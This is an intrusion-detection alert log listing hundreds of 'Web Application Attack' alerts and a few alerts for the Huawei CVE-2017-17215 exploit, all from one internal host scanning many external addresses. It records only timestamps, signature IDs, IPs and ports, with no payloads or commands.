2024-12-03T23:17:24.100487+0100	2029034	1	Web Application Attack	192.168.2.23	43542	216.78.163.64	80	TCP
2024-12-03T23:17:24.100668+0100	2029034	1	Web Application Attack	192.168.2.23	42182	51.244.114.241	80	TCP
2024-12-03T23:17:24.101025+0100	2029034	1	Web Application Attack	192.168.2.23	54262	87.163.47.216	80	TCP
2024-12-03T23:17:24.101083+0100	2029034	1	Web Application Attack	192.168.2.23	48104	126.249.41.251	80	TCP
2024-12-03T23:17:25.068971+0100	2029034	1	Web Application Attack	192.168.2.23	38774	87.74.156.248	80	TCP
2024-12-03T23:17:25.084810+0100	2029034	1	Web Application Attack	192.168.2.23	34014	86.230.71.138	80	TCP
2024-12-03T23:17:25.091098+0100	2029034	1	Web Application Attack	192.168.2.23	33716	221.237.234.24	80	TCP
2024-12-03T23:17:25.100478+0100	2029034	1	Web Application Attack	192.168.2.23	59676	164.250.97.58	80	TCP
2024-12-03T23:17:25.100631+0100	2029034	1	Web Application Attack	192.168.2.23	51252	59.231.219.168	80	TCP
2024-12-03T23:17:25.100713+0100	2029034	1	Web Application Attack	192.168.2.23	48496	133.105.5.131	80	TCP
2024-12-03T23:17:25.101016+0100	2029034	1	Web Application Attack	192.168.2.23	54256	180.81.127.249	80	TCP
2024-12-03T23:17:25.101116+0100	2029034	1	Web Application Attack	192.168.2.23	59926	158.156.176.173	80	TCP
2024-12-03T23:17:25.903664+0100	2029034	1	Web Application Attack	192.168.2.23	60882	210.148.55.2	80	TCP
2024-12-03T23:17:25.903668+0100	2029034	1	Web Application Attack	192.168.2.23	41726	93.178.74.38	80	TCP
2024-12-03T23:17:25.903782+0100	2029034	1	Web Application Attack	192.168.2.23	56004	39.139.178.113	80	TCP
2024-12-03T23:17:25.919277+0100	2029034	1	Web Application Attack	192.168.2.23	33352	99.236.37.72	80	TCP
2024-12-03T23:17:25.919520+0100	2029034	1	Web Application Attack	192.168.2.23	38014	47.68.81.71	80	TCP
2024-12-03T23:17:25.919569+0100	2029034	1	Web Application Attack	192.168.2.23	57088	91.247.3.165	80	TCP
2024-12-03T23:17:25.919809+0100	2029034	1	Web Application Attack	192.168.2.23	43622	136.115.63.147	80	TCP
2024-12-03T23:17:25.919896+0100	2029034	1	Web Application Attack	192.168.2.23	34904	150.215.250.199	80	TCP
2024-12-03T23:17:25.928633+0100	2029034	1	Web Application Attack	192.168.2.23	43100	9.153.33.19	80	TCP
2024-12-03T23:17:25.928794+0100	2029034	1	Web Application Attack	192.168.2.23	50110	101.86.137.255	80	TCP
2024-12-03T23:17:25.928963+0100	2029034	1	Web Application Attack	192.168.2.23	33576	103.28.100.236	80	TCP
2024-12-03T23:17:25.929128+0100	2029034	1	Web Application Attack	192.168.2.23	43260	198.240.8.243	80	TCP
2024-12-03T23:17:25.934833+0100	2029034	1	Web Application Attack	192.168.2.23	34280	217.254.243.92	80	TCP
2024-12-03T23:17:25.934950+0100	2029034	1	Web Application Attack	192.168.2.23	48540	181.221.158.4	80	TCP
2024-12-03T23:17:25.944307+0100	2029034	1	Web Application Attack	192.168.2.23	56244	96.107.155.229	80	TCP
2024-12-03T23:17:25.959886+0100	2029034	1	Web Application Attack	192.168.2.23	39622	12.160.192.42	80	TCP
2024-12-03T23:17:25.966131+0100	2029034	1	Web Application Attack	192.168.2.23	51152	78.144.131.215	80	TCP
2024-12-03T23:17:25.966139+0100	2029034	1	Web Application Attack	192.168.2.23	56790	75.74.72.90	80	TCP
2024-12-03T23:17:25.966279+0100	2029034	1	Web Application Attack	192.168.2.23	56174	173.220.212.135	80	TCP
2024-12-03T23:17:25.966397+0100	2029034	1	Web Application Attack	192.168.2.23	42530	47.95.27.22	80	TCP
2024-12-03T23:17:25.966513+0100	2029034	1	Web Application Attack	192.168.2.23	55662	24.208.155.1	80	TCP
2024-12-03T23:17:25.966696+0100	2029034	1	Web Application Attack	192.168.2.23	50086	143.78.20.97	80	TCP
2024-12-03T23:17:25.975389+0100	2029034	1	Web Application Attack	192.168.2.23	51300	101.134.192.188	80	TCP
2024-12-03T23:17:25.975616+0100	2029034	1	Web Application Attack	192.168.2.23	54678	163.53.252.66	80	TCP
2024-12-03T23:17:25.975837+0100	2029034	1	Web Application Attack	192.168.2.23	42488	89.11.195.129	80	TCP
2024-12-03T23:17:25.975902+0100	2029034	1	Web Application Attack	192.168.2.23	59774	20.91.194.45	80	TCP
2024-12-03T23:17:25.976106+0100	2029034	1	Web Application Attack	192.168.2.23	39944	138.13.231.147	80	TCP
2024-12-03T23:17:25.976312+0100	2029034	1	Web Application Attack	192.168.2.23	34476	190.31.142.247	80	TCP
2024-12-03T23:17:25.976400+0100	2029034	1	Web Application Attack	192.168.2.23	54584	187.160.114.53	80	TCP
2024-12-03T23:17:25.976500+0100	2029034	1	Web Application Attack	192.168.2.23	47624	190.9.83.127	80	TCP
2024-12-03T23:17:25.976572+0100	2029034	1	Web Application Attack	192.168.2.23	33226	122.201.47.17	80	TCP
2024-12-03T23:17:25.991935+0100	2029034	1	Web Application Attack	192.168.2.23	43110	169.52.180.70	80	TCP
2024-12-03T23:17:25.991940+0100	2029034	1	Web Application Attack	192.168.2.23	45848	64.40.203.207	80	TCP
2024-12-03T23:17:26.022244+0100	2029034	1	Web Application Attack	192.168.2.23	43126	126.43.59.28	80	TCP
2024-12-03T23:17:26.022316+0100	2029034	1	Web Application Attack	192.168.2.23	37610	121.157.120.232	80	TCP
2024-12-03T23:17:27.059922+0100	2029034	1	Web Application Attack	192.168.2.23	59452	41.70.188.247	80	TCP
2024-12-03T23:17:27.060270+0100	2029034	1	Web Application Attack	192.168.2.23	47844	208.186.15.150	80	TCP
2024-12-03T23:17:27.075736+0100	2029034	1	Web Application Attack	192.168.2.23	38110	5.15.199.79	80	TCP
2024-12-03T23:17:27.075951+0100	2029034	1	Web Application Attack	192.168.2.23	42020	84.239.96.186	80	TCP
2024-12-03T23:17:27.075986+0100	2029034	1	Web Application Attack	192.168.2.23	35188	167.147.161.247	80	TCP
2024-12-03T23:17:27.091472+0100	2029034	1	Web Application Attack	192.168.2.23	41410	189.239.24.246	80	TCP
2024-12-03T23:17:27.091593+0100	2029034	1	Web Application Attack	192.168.2.23	38348	2.224.187.23	80	TCP
2024-12-03T23:17:27.091738+0100	2029034	1	Web Application Attack	192.168.2.23	43240	173.199.149.70	80	TCP
2024-12-03T23:17:27.092022+0100	2029034	1	Web Application Attack	192.168.2.23	35476	67.246.218.180	80	TCP
2024-12-03T23:17:27.092023+0100	2029034	1	Web Application Attack	192.168.2.23	38982	94.6.220.165	80	TCP
2024-12-03T23:17:27.100404+0100	2029034	1	Web Application Attack	192.168.2.23	42442	153.215.217.214	80	TCP
2024-12-03T23:17:27.101551+0100	2029034	1	Web Application Attack	192.168.2.23	42036	98.133.89.89	80	TCP
2024-12-03T23:17:27.142597+0100	2029034	1	Web Application Attack	192.168.2.23	48534	209.208.34.155	80	TCP
2024-12-03T23:17:27.163216+0100	2029034	1	Web Application Attack	192.168.2.23	39350	184.43.27.150	80	TCP
2024-12-03T23:17:27.163281+0100	2029034	1	Web Application Attack	192.168.2.23	49720	171.127.100.93	80	TCP
2024-12-03T23:17:27.178544+0100	2029034	1	Web Application Attack	192.168.2.23	56728	206.252.91.126	80	TCP
2024-12-03T23:17:27.178726+0100	2029034	1	Web Application Attack	192.168.2.23	37154	194.73.27.153	80	TCP
2024-12-03T23:17:27.178786+0100	2029034	1	Web Application Attack	192.168.2.23	42506	47.133.174.91	80	TCP
2024-12-03T23:17:27.178833+0100	2029034	1	Web Application Attack	192.168.2.23	59392	205.172.128.118	80	TCP
2024-12-03T23:17:27.184820+0100	2029034	1	Web Application Attack	192.168.2.23	41546	35.30.245.0	80	TCP
2024-12-03T23:17:27.184941+0100	2029034	1	Web Application Attack	192.168.2.23	34222	218.35.230.12	80	TCP
2024-12-03T23:17:27.185159+0100	2029034	1	Web Application Attack	192.168.2.23	51538	84.33.234.26	80	TCP
2024-12-03T23:17:27.185323+0100	2029034	1	Web Application Attack	192.168.2.23	52896	221.111.52.56	80	TCP
2024-12-03T23:17:27.194134+0100	2029034	1	Web Application Attack	192.168.2.23	48370	9.5.252.161	80	TCP
2024-12-03T23:17:27.194334+0100	2029034	1	Web Application Attack	192.168.2.23	57556	49.56.31.174	80	TCP
2024-12-03T23:17:27.194505+0100	2029034	1	Web Application Attack	192.168.2.23	53324	68.11.208.115	80	TCP
2024-12-03T23:17:27.200516+0100	2029034	1	Web Application Attack	192.168.2.23	43404	20.160.160.81	80	TCP
2024-12-03T23:17:27.200645+0100	2029034	1	Web Application Attack	192.168.2.23	53086	78.187.111.41	80	TCP
2024-12-03T23:17:27.200926+0100	2029034	1	Web Application Attack	192.168.2.23	46006	20.22.209.93	80	TCP
2024-12-03T23:17:27.201125+0100	2029034	1	Web Application Attack	192.168.2.23	57972	195.227.222.30	80	TCP
2024-12-03T23:17:27.209676+0100	2029034	1	Web Application Attack	192.168.2.23	47170	76.125.89.255	80	TCP
2024-12-03T23:17:27.210042+0100	2029034	1	Web Application Attack	192.168.2.23	49688	191.3.17.107	80	TCP
2024-12-03T23:17:27.210045+0100	2029034	1	Web Application Attack	192.168.2.23	54122	211.20.207.90	80	TCP
2024-12-03T23:17:27.210158+0100	2029034	1	Web Application Attack	192.168.2.23	51004	168.182.83.90	80	TCP
2024-12-03T23:17:27.210321+0100	2029034	1	Web Application Attack	192.168.2.23	59472	37.40.144.216	80	TCP
2024-12-03T23:17:27.210547+0100	2029034	1	Web Application Attack	192.168.2.23	41234	73.95.184.193	80	TCP
2024-12-03T23:17:27.216012+0100	2029034	1	Web Application Attack	192.168.2.23	43674	4.11.180.117	80	TCP
2024-12-03T23:17:27.225294+0100	2029034	1	Web Application Attack	192.168.2.23	58694	98.127.211.88	80	TCP
2024-12-03T23:17:27.225414+0100	2029034	1	Web Application Attack	192.168.2.23	35802	45.201.163.136	80	TCP
2024-12-03T23:17:27.225644+0100	2029034	1	Web Application Attack	192.168.2.23	43442	103.131.6.121	80	TCP
2024-12-03T23:17:27.388461+0100	2029034	1	Web Application Attack	192.168.2.23	35054	45.16.173.155	80	TCP
2024-12-03T23:17:27.428616+0100	2029034	1	Web Application Attack	192.168.2.23	38302	220.61.134.87	80	TCP
2024-12-03T23:17:27.428669+0100	2029034	1	Web Application Attack	192.168.2.23	42338	166.46.200.183	80	TCP
2024-12-03T23:17:30.341254+0100	2029034	1	Web Application Attack	192.168.2.23	38678	61.36.233.0	80	TCP
2024-12-03T23:17:30.466355+0100	2029034	1	Web Application Attack	192.168.2.23	56806	213.243.183.208	80	TCP
2024-12-03T23:17:30.497559+0100	2029034	1	Web Application Attack	192.168.2.23	48074	46.219.253.5	80	TCP
2024-12-03T23:17:30.528897+0100	2029034	1	Web Application Attack	192.168.2.23	50980	221.155.112.76	80	TCP
2024-12-03T23:17:30.553575+0100	2029034	1	Web Application Attack	192.168.2.23	51288	155.0.32.37	80	TCP
2024-12-03T23:17:31.388162+0100	2029034	1	Web Application Attack	192.168.2.23	40962	118.219.237.82	80	TCP
2024-12-03T23:17:31.397666+0100	2029034	1	Web Application Attack	192.168.2.23	48422	14.96.70.140	80	TCP
2024-12-03T23:17:31.403827+0100	2029034	1	Web Application Attack	192.168.2.23	45904	116.190.35.83	80	TCP
2024-12-03T23:17:31.403866+0100	2029034	1	Web Application Attack	192.168.2.23	40308	61.88.46.74	80	TCP
2024-12-03T23:17:31.444119+0100	2029034	1	Web Application Attack	192.168.2.23	43002	4.135.147.206	80	TCP
2024-12-03T23:17:31.459713+0100	2029034	1	Web Application Attack	192.168.2.23	46070	99.158.112.160	80	TCP
2024-12-03T23:17:32.419362+0100	2029034	1	Web Application Attack	192.168.2.23	46102	42.62.14.212	80	TCP
2024-12-03T23:17:32.419557+0100	2029034	1	Web Application Attack	192.168.2.23	50432	164.175.90.24	80	TCP
2024-12-03T23:17:32.419730+0100	2029034	1	Web Application Attack	192.168.2.23	44816	145.90.229.2	80	TCP
2024-12-03T23:17:32.467798+0100	2029034	1	Web Application Attack	192.168.2.23	44674	149.166.136.118	80	TCP
2024-12-03T23:17:32.467960+0100	2029034	1	Web Application Attack	192.168.2.23	58894	102.3.91.113	80	TCP
2024-12-03T23:17:32.638102+0100	2029034	1	Web Application Attack	192.168.2.23	56580	178.180.2.233	80	TCP
2024-12-03T23:17:32.669431+0100	2029034	1	Web Application Attack	192.168.2.23	38224	44.237.70.93	80	TCP
2024-12-03T23:17:32.669518+0100	2029034	1	Web Application Attack	192.168.2.23	48990	174.18.78.26	80	TCP
2024-12-03T23:17:32.725747+0100	2029034	1	Web Application Attack	192.168.2.23	33904	18.70.152.9	80	TCP
2024-12-03T23:17:33.460000+0100	2029034	1	Web Application Attack	192.168.2.23	50116	135.158.121.118	80	TCP
2024-12-03T23:17:33.553709+0100	2029034	1	Web Application Attack	192.168.2.23	54528	124.134.142.53	80	TCP
2024-12-03T23:17:33.553835+0100	2029034	1	Web Application Attack	192.168.2.23	52164	176.83.134.1	80	TCP
2024-12-03T23:17:33.575815+0100	2029034	1	Web Application Attack	192.168.2.23	47744	125.90.53.209	80	TCP
2024-12-03T23:17:33.616125+0100	2029034	1	Web Application Attack	192.168.2.23	46984	176.226.179.82	80	TCP
2024-12-03T23:17:33.616286+0100	2029034	1	Web Application Attack	192.168.2.23	39540	45.33.194.219	80	TCP
2024-12-03T23:17:33.616348+0100	2029034	1	Web Application Attack	192.168.2.23	33060	35.0.129.178	80	TCP
2024-12-03T23:17:34.544583+0100	2029034	1	Web Application Attack	192.168.2.23	46624	23.157.14.229	80	TCP
2024-12-03T23:17:34.575994+0100	2029034	1	Web Application Attack	192.168.2.23	44910	150.12.89.136	80	TCP
2024-12-03T23:17:34.576043+0100	2029034	1	Web Application Attack	192.168.2.23	59030	103.226.21.96	80	TCP
2024-12-03T23:17:34.576159+0100	2029034	1	Web Application Attack	192.168.2.23	60782	35.104.240.152	80	TCP
2024-12-03T23:17:34.585158+0100	2029034	1	Web Application Attack	192.168.2.23	49098	171.23.157.139	80	TCP
2024-12-03T23:17:34.591304+0100	2029034	1	Web Application Attack	192.168.2.23	49116	222.209.238.50	80	TCP
2024-12-03T23:17:34.600662+0100	2029034	1	Web Application Attack	192.168.2.23	48874	98.200.12.120	80	TCP
2024-12-03T23:17:34.600748+0100	2029034	1	Web Application Attack	192.168.2.23	41880	95.218.225.125	80	TCP
2024-12-03T23:17:34.606959+0100	2029034	1	Web Application Attack	192.168.2.23	39236	183.53.140.221	80	TCP
2024-12-03T23:17:34.616178+0100	2029034	1	Web Application Attack	192.168.2.23	51486	89.162.172.53	80	TCP
2024-12-03T23:17:34.616305+0100	2029034	1	Web Application Attack	192.168.2.23	48792	179.13.30.253	80	TCP
2024-12-03T23:17:34.632152+0100	2029034	1	Web Application Attack	192.168.2.23	56932	117.176.161.90	80	TCP
2024-12-03T23:17:34.794662+0100	2029034	1	Web Application Attack	192.168.2.23	41002	158.219.141.29	80	TCP
2024-12-03T23:17:34.825514+0100	2029034	1	Web Application Attack	192.168.2.23	47340	185.169.197.28	80	TCP
2024-12-03T23:17:34.835561+0100	2029034	1	Web Application Attack	192.168.2.23	52876	207.63.218.146	80	TCP
2024-12-03T23:17:34.841339+0100	2029034	1	Web Application Attack	192.168.2.23	51086	164.137.181.109	80	TCP
2024-12-03T23:17:35.685173+0100	2029034	1	Web Application Attack	192.168.2.23	38434	211.242.92.69	80	TCP
2024-12-03T23:17:35.685174+0100	2029034	1	Web Application Attack	192.168.2.23	48084	60.123.91.201	80	TCP
2024-12-03T23:17:35.700729+0100	2029034	1	Web Application Attack	192.168.2.23	39936	174.144.72.171	80	TCP
2024-12-03T23:17:35.727959+0100	2029034	1	Web Application Attack	192.168.2.23	46182	54.45.67.147	80	TCP
2024-12-03T23:17:35.728161+0100	2029034	1	Web Application Attack	192.168.2.23	52836	115.97.85.71	80	TCP
2024-12-03T23:17:35.763379+0100	2029034	1	Web Application Attack	192.168.2.23	55816	221.229.136.232	80	TCP
2024-12-03T23:17:35.772598+0100	2029034	1	Web Application Attack	192.168.2.23	36796	163.235.157.153	80	TCP
2024-12-03T23:17:35.773006+0100	2029034	1	Web Application Attack	192.168.2.23	49770	69.131.169.153	80	TCP
2024-12-03T23:17:35.773205+0100	2029034	1	Web Application Attack	192.168.2.23	39582	195.28.21.20	80	TCP
2024-12-03T23:17:36.142514+0100	2029034	1	Web Application Attack	192.168.2.23	50440	4.151.10.125	80	TCP
2024-12-03T23:17:36.178748+0100	2029034	1	Web Application Attack	192.168.2.23	39506	105.52.78.251	80	TCP
2024-12-03T23:17:36.763475+0100	2029034	1	Web Application Attack	192.168.2.23	35732	95.238.79.243	80	TCP
2024-12-03T23:17:36.763504+0100	2029034	1	Web Application Attack	192.168.2.23	46152	141.147.242.167	80	TCP
2024-12-03T23:17:36.772763+0100	2029034	1	Web Application Attack	192.168.2.23	38652	100.152.35.95	80	TCP
2024-12-03T23:17:36.772768+0100	2029034	1	Web Application Attack	192.168.2.23	43918	205.65.235.83	80	TCP
2024-12-03T23:17:36.772847+0100	2029034	1	Web Application Attack	192.168.2.23	43474	173.48.55.170	80	TCP
2024-12-03T23:17:36.772956+0100	2029034	1	Web Application Attack	192.168.2.23	60448	126.194.205.75	80	TCP
2024-12-03T23:17:36.773068+0100	2029034	1	Web Application Attack	192.168.2.23	34358	50.161.43.55	80	TCP
2024-12-03T23:17:36.778797+0100	2029034	1	Web Application Attack	192.168.2.23	37094	121.234.2.67	80	TCP
2024-12-03T23:17:36.778907+0100	2029034	1	Web Application Attack	192.168.2.23	56256	170.168.126.36	80	TCP
2024-12-03T23:17:36.788055+0100	2029034	1	Web Application Attack	192.168.2.23	32774	164.19.146.178	80	TCP
2024-12-03T23:17:37.178885+0100	2029034	1	Web Application Attack	192.168.2.23	33440	212.185.243.29	80	TCP
2024-12-03T23:17:37.178987+0100	2029034	1	Web Application Attack	192.168.2.23	49706	209.235.15.40	80	TCP
2024-12-03T23:17:37.185033+0100	2029034	1	Web Application Attack	192.168.2.23	50514	181.77.83.18	80	TCP
2024-12-03T23:17:37.226694+0100	2029034	1	Web Application Attack	192.168.2.23	55440	140.171.232.171	80	TCP
2024-12-03T23:17:37.294642+0100	2029034	1	Web Application Attack	192.168.2.23	38010	140.214.43.234	80	TCP
2024-12-03T23:17:37.310256+0100	2029034	1	Web Application Attack	192.168.2.23	41334	206.132.219.155	80	TCP
2024-12-03T23:17:37.319554+0100	2029034	1	Web Application Attack	192.168.2.23	36218	104.237.87.233	80	TCP
2024-12-03T23:17:37.319615+0100	2029034	1	Web Application Attack	192.168.2.23	50910	126.170.127.83	80	TCP
2024-12-03T23:17:37.319803+0100	2029034	1	Web Application Attack	192.168.2.23	57904	82.161.146.219	80	TCP
2024-12-03T23:17:37.325826+0100	2029034	1	Web Application Attack	192.168.2.23	58474	178.111.248.74	80	TCP
2024-12-03T23:17:37.335175+0100	2029034	1	Web Application Attack	192.168.2.23	43892	5.54.47.98	80	TCP
2024-12-03T23:17:37.335329+0100	2029034	1	Web Application Attack	192.168.2.23	40110	46.179.185.79	80	TCP
2024-12-03T23:17:37.350646+0100	2029034	1	Web Application Attack	192.168.2.23	41238	158.185.230.164	80	TCP
2024-12-03T23:17:37.350823+0100	2029034	1	Web Application Attack	192.168.2.23	55326	118.24.96.103	80	TCP
2024-12-03T23:17:37.351252+0100	2029034	1	Web Application Attack	192.168.2.23	34034	111.183.112.128	80	TCP
2024-12-03T23:17:38.388181+0100	2029034	1	Web Application Attack	192.168.2.23	38264	36.139.199.207	80	TCP
2024-12-03T23:17:38.419519+0100	2029034	1	Web Application Attack	192.168.2.23	47036	201.205.127.243	80	TCP
2024-12-03T23:17:38.444544+0100	2029034	1	Web Application Attack	192.168.2.23	48110	101.194.178.38	80	TCP
2024-12-03T23:17:38.444898+0100	2029034	1	Web Application Attack	192.168.2.23	50560	158.208.139.82	80	TCP
2024-12-03T23:17:38.466779+0100	2029034	1	Web Application Attack	192.168.2.23	44754	129.219.241.177	80	TCP
2024-12-03T23:17:39.122803+0100	2029034	1	Web Application Attack	192.168.2.23	58216	93.82.218.154	80	TCP
2024-12-03T23:17:39.147757+0100	2029034	1	Web Application Attack	192.168.2.23	54828	192.50.31.153	80	TCP
2024-12-03T23:17:39.169795+0100	2029034	1	Web Application Attack	192.168.2.23	57216	181.105.47.221	80	TCP
2024-12-03T23:17:39.169797+0100	2029034	1	Web Application Attack	192.168.2.23	54008	178.63.71.84	80	TCP
2024-12-03T23:17:39.169897+0100	2029034	1	Web Application Attack	192.168.2.23	39030	101.35.59.114	80	TCP
2024-12-03T23:17:39.170010+0100	2029034	1	Web Application Attack	192.168.2.23	39538	190.107.233.200	80	TCP
2024-12-03T23:17:39.170353+0100	2029034	1	Web Application Attack	192.168.2.23	46242	164.239.150.208	80	TCP
2024-12-03T23:17:39.225588+0100	2029034	1	Web Application Attack	192.168.2.23	43060	216.126.32.64	80	TCP
2024-12-03T23:17:39.324009+0100	2029034	1	Web Application Attack	192.168.2.23	33204	84.234.97.100	80	TCP
2024-12-03T23:17:40.294679+0100	2029034	1	Web Application Attack	192.168.2.23	43084	153.12.49.149	80	TCP
2024-12-03T23:17:40.372740+0100	2029034	1	Web Application Attack	192.168.2.23	33576	210.33.62.62	80	TCP
2024-12-03T23:17:40.373134+0100	2029034	1	Web Application Attack	192.168.2.23	54542	191.50.71.224	80	TCP
2024-12-03T23:17:40.403967+0100	2029034	1	Web Application Attack	192.168.2.23	43518	122.83.81.32	80	TCP
2024-12-03T23:17:40.404124+0100	2029034	1	Web Application Attack	192.168.2.23	45092	47.0.213.205	80	TCP
2024-12-03T23:17:40.419540+0100	2029034	1	Web Application Attack	192.168.2.23	37042	158.73.164.127	80	TCP
2024-12-03T23:17:40.419657+0100	2029034	1	Web Application Attack	192.168.2.23	45548	72.158.162.254	80	TCP
2024-12-03T23:17:40.428860+0100	2029034	1	Web Application Attack	192.168.2.23	44846	94.117.229.139	80	TCP
2024-12-03T23:17:40.439742+0100	2029034	1	Web Application Attack	192.168.2.23	60308	109.207.17.84	80	TCP
2024-12-03T23:17:40.444160+0100	2029034	1	Web Application Attack	192.168.2.23	40794	95.203.89.190	80	TCP
2024-12-03T23:17:41.263615+0100	2029034	1	Web Application Attack	192.168.2.23	40626	109.228.229.39	80	TCP
2024-12-03T23:17:41.263723+0100	2029034	1	Web Application Attack	192.168.2.23	48406	93.198.207.100	80	TCP
2024-12-03T23:17:41.279252+0100	2029034	1	Web Application Attack	192.168.2.23	46936	96.222.109.36	80	TCP
2024-12-03T23:17:41.294698+0100	2029034	1	Web Application Attack	192.168.2.23	39626	64.123.102.127	80	TCP
2024-12-03T23:17:41.294894+0100	2029034	1	Web Application Attack	192.168.2.23	55460	104.148.123.44	80	TCP
2024-12-03T23:17:41.303838+0100	2029034	1	Web Application Attack	192.168.2.23	54018	12.162.227.69	80	TCP
2024-12-03T23:17:41.350864+0100	2029034	1	Web Application Attack	192.168.2.23	32966	153.221.39.155	80	TCP
2024-12-03T23:17:41.351055+0100	2029034	1	Web Application Attack	192.168.2.23	33968	222.224.60.126	80	TCP
2024-12-03T23:17:41.513252+0100	2029034	1	Web Application Attack	192.168.2.23	42572	75.157.11.192	80	TCP
2024-12-03T23:17:41.528867+0100	2029034	1	Web Application Attack	192.168.2.23	51274	98.134.159.67	80	TCP
2024-12-03T23:17:41.544538+0100	2029034	1	Web Application Attack	192.168.2.23	50424	99.237.27.189	80	TCP
2024-12-03T23:17:41.544625+0100	2029034	1	Web Application Attack	192.168.2.23	59740	70.10.76.93	80	TCP
2024-12-03T23:17:41.553753+0100	2029034	1	Web Application Attack	192.168.2.23	45076	108.177.60.101	80	TCP
2024-12-03T23:17:41.560774+0100	2029034	1	Web Application Attack	192.168.2.23	53618	145.172.17.255	80	TCP
2024-12-03T23:17:41.591493+0100	2029034	1	Web Application Attack	192.168.2.23	57186	210.170.129.199	80	TCP
2024-12-03T23:17:42.386429+0100	2029034	1	Web Application Attack	192.168.2.23	57218	108.138.108.4	80	TCP
2024-12-03T23:17:42.544735+0100	2029034	1	Web Application Attack	192.168.2.23	40368	179.17.44.141	80	TCP
2024-12-03T23:17:42.591600+0100	2029034	1	Web Application Attack	192.168.2.23	36572	27.214.211.177	80	TCP
2024-12-03T23:17:42.591678+0100	2029034	1	Web Application Attack	192.168.2.23	49298	177.233.208.123	80	TCP
2024-12-03T23:17:42.600874+0100	2029034	1	Web Application Attack	192.168.2.23	35280	32.243.68.245	80	TCP
2024-12-03T23:17:42.601085+0100	2029034	1	Web Application Attack	192.168.2.23	49870	176.59.98.167	80	TCP
2024-12-03T23:17:42.632024+0100	2029034	1	Web Application Attack	192.168.2.23	48776	120.161.206.65	80	TCP
2024-12-03T23:17:42.716565+0100	2029034	1	Web Application Attack	192.168.2.23	43022	75.201.55.225	80	TCP
2024-12-03T23:17:42.725808+0100	2029034	1	Web Application Attack	192.168.2.23	52100	86.57.5.118	80	TCP
2024-12-03T23:17:42.726015+0100	2029034	1	Web Application Attack	192.168.2.23	52288	169.111.117.118	80	TCP
2024-12-03T23:17:42.747855+0100	2029034	1	Web Application Attack	192.168.2.23	40534	62.46.104.116	80	TCP
2024-12-03T23:17:42.748177+0100	2029034	1	Web Application Attack	192.168.2.23	36034	180.31.104.20	80	TCP
2024-12-03T23:17:42.757096+0100	2029034	1	Web Application Attack	192.168.2.23	38644	61.145.237.27	80	TCP
2024-12-03T23:17:42.757191+0100	2029034	1	Web Application Attack	192.168.2.23	37084	141.0.13.77	80	TCP
2024-12-03T23:17:42.772875+0100	2029034	1	Web Application Attack	192.168.2.23	60114	113.229.229.65	80	TCP
2024-12-03T23:17:43.476134+0100	2029034	1	Web Application Attack	192.168.2.23	45282	176.218.66.43	80	TCP
2024-12-03T23:17:43.544916+0100	2029034	1	Web Application Attack	192.168.2.23	47814	99.142.16.57	80	TCP
2024-12-03T23:17:43.544926+0100	2029034	1	Web Application Attack	192.168.2.23	38098	118.12.236.100	80	TCP
2024-12-03T23:17:43.545026+0100	2029034	1	Web Application Attack	192.168.2.23	47282	162.211.28.35	80	TCP
2024-12-03T23:17:43.545163+0100	2029034	1	Web Application Attack	192.168.2.23	44474	181.255.226.197	80	TCP
2024-12-03T23:17:43.545266+0100	2029034	1	Web Application Attack	192.168.2.23	52494	104.228.210.24	80	TCP
2024-12-03T23:17:43.545506+0100	2029034	1	Web Application Attack	192.168.2.23	59778	160.84.155.173	80	TCP
2024-12-03T23:17:43.545547+0100	2029034	1	Web Application Attack	192.168.2.23	44928	103.200.37.24	80	TCP
2024-12-03T23:17:43.545570+0100	2029034	1	Web Application Attack	192.168.2.23	33356	195.84.210.159	80	TCP
2024-12-03T23:17:43.553926+0100	2029034	1	Web Application Attack	192.168.2.23	54502	64.247.99.87	80	TCP
2024-12-03T23:17:43.569661+0100	2029034	1	Web Application Attack	192.168.2.23	60034	156.50.81.110	80	TCP
2024-12-03T23:17:43.600779+0100	2029034	1	Web Application Attack	192.168.2.23	46022	196.207.212.9	80	TCP
2024-12-03T23:17:43.600944+0100	2029034	1	Web Application Attack	192.168.2.23	33720	24.24.67.177	80	TCP
2024-12-03T23:17:43.600975+0100	2029034	1	Web Application Attack	192.168.2.23	37706	183.99.184.142	80	TCP
2024-12-03T23:17:44.826356+0100	2029034	1	Web Application Attack	192.168.2.23	59810	109.122.15.205	80	TCP
2024-12-03T23:17:44.826631+0100	2029034	1	Web Application Attack	192.168.2.23	56896	175.250.210.25	80	TCP
2024-12-03T23:17:44.841981+0100	2029034	1	Web Application Attack	192.168.2.23	51456	85.181.130.228	80	TCP
2024-12-03T23:17:44.842842+0100	2029034	1	Web Application Attack	192.168.2.23	51540	119.10.235.4	80	TCP
2024-12-03T23:17:44.857228+0100	2029034	1	Web Application Attack	192.168.2.23	58060	36.138.245.125	80	TCP
2024-12-03T23:17:44.882634+0100	2029034	1	Web Application Attack	192.168.2.23	43940	123.188.152.44	80	TCP
2024-12-03T23:17:44.882843+0100	2029034	1	Web Application Attack	192.168.2.23	41804	97.183.114.38	80	TCP
2024-12-03T23:17:45.076225+0100	2029034	1	Web Application Attack	192.168.2.23	36376	153.10.180.3	80	TCP
2024-12-03T23:17:45.100957+0100	2029034	1	Web Application Attack	192.168.2.23	41258	146.32.250.192	80	TCP
2024-12-03T23:17:45.142141+0100	2029034	1	Web Application Attack	192.168.2.23	53204	37.144.233.90	80	TCP
2024-12-03T23:17:45.147457+0100	2029034	1	Web Application Attack	192.168.2.23	42058	2.26.191.53	80	TCP
2024-12-03T23:17:45.147596+0100	2029034	1	Web Application Attack	192.168.2.23	32812	40.183.93.136	80	TCP
2024-12-03T23:17:45.163518+0100	2029034	1	Web Application Attack	192.168.2.23	53474	210.104.45.40	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:16:55.514927+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59722	156.245.131.47	37215	TCP
2024-12-03T23:16:57.053070+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54632	197.232.110.55	37215	TCP
2024-12-03T23:17:02.608297+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53654	197.221.101.29	37215	TCP
2024-12-03T23:17:09.496963+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57276	156.124.55.110	37215	TCP
2024-12-03T23:17:09.653524+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55264	197.25.172.124	37215	TCP
2024-12-03T23:17:09.662591+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58794	197.57.240.239	37215	TCP
